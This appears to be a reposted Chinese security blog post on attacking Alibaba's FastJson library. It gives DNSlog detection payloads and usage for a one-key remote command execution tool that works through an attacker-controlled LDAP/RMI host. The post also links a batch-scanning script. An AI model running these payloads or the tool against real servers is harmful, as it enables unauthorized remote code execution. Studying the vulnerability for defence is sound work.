0x01 简介
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
FastJson特点如下:
1.能够支持将java bean序列化成JSON字符串,也能够将JSON字符串 反序列化成Java bean。
2.顾名思义,FastJson操作JSON的速度是非常快的。
3.无其他包的依赖。
4.使用比较方便。
0x02 特征识别
报错识别
type=Internal Server Error, status=500
根据返回包判断
任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!
通过DNSlog回显
payload
:识别1.2.67之前版本
{"tpa":{"@type":"java.net.Inet4Address","val":"cegkgu.dnslog.cn"}}
payload
:识别1.2.67之后版本
{"@type":"java.net.Inet4Address","val":"cegkgu.dnslog.cn"}
0x03 工具使用
usage: Fastjson one-key command is executed! [-h] [-u URL] [-s SELF] [-c COMMAMD]
python3 fastjson.py -u [Target Url] -s [self IP] -c [command]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 漏洞url
-s SELF, --self SELF 自己IP,如果是VPS请输入公网IP
-c COMMAMD, --commamd COMMAMD 执行的命令,有空格请加上双引号
-m [MODE], --mode [MODE] 选择执行模式(可选),1:ldap模式(默认);2:rmi模式
python3 fastjson.py -u http://192.168.1.3/ -s 192.168.1.1 -c "touch /tmp/test.txt
0x04 使用截图
批量检测链接放target.txt中。usage:python3 fastjson_check.py
0x05 工具下载
项目地址:
https://github.com/mrknow001/fastjson_rec_exploit?tab=readme-ov-file
工具已打包至网盘,后台回复FastJson获取下载链接
原文始发于微信公众号(琴音安全):还不会FastJson利用??(附利用工具)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论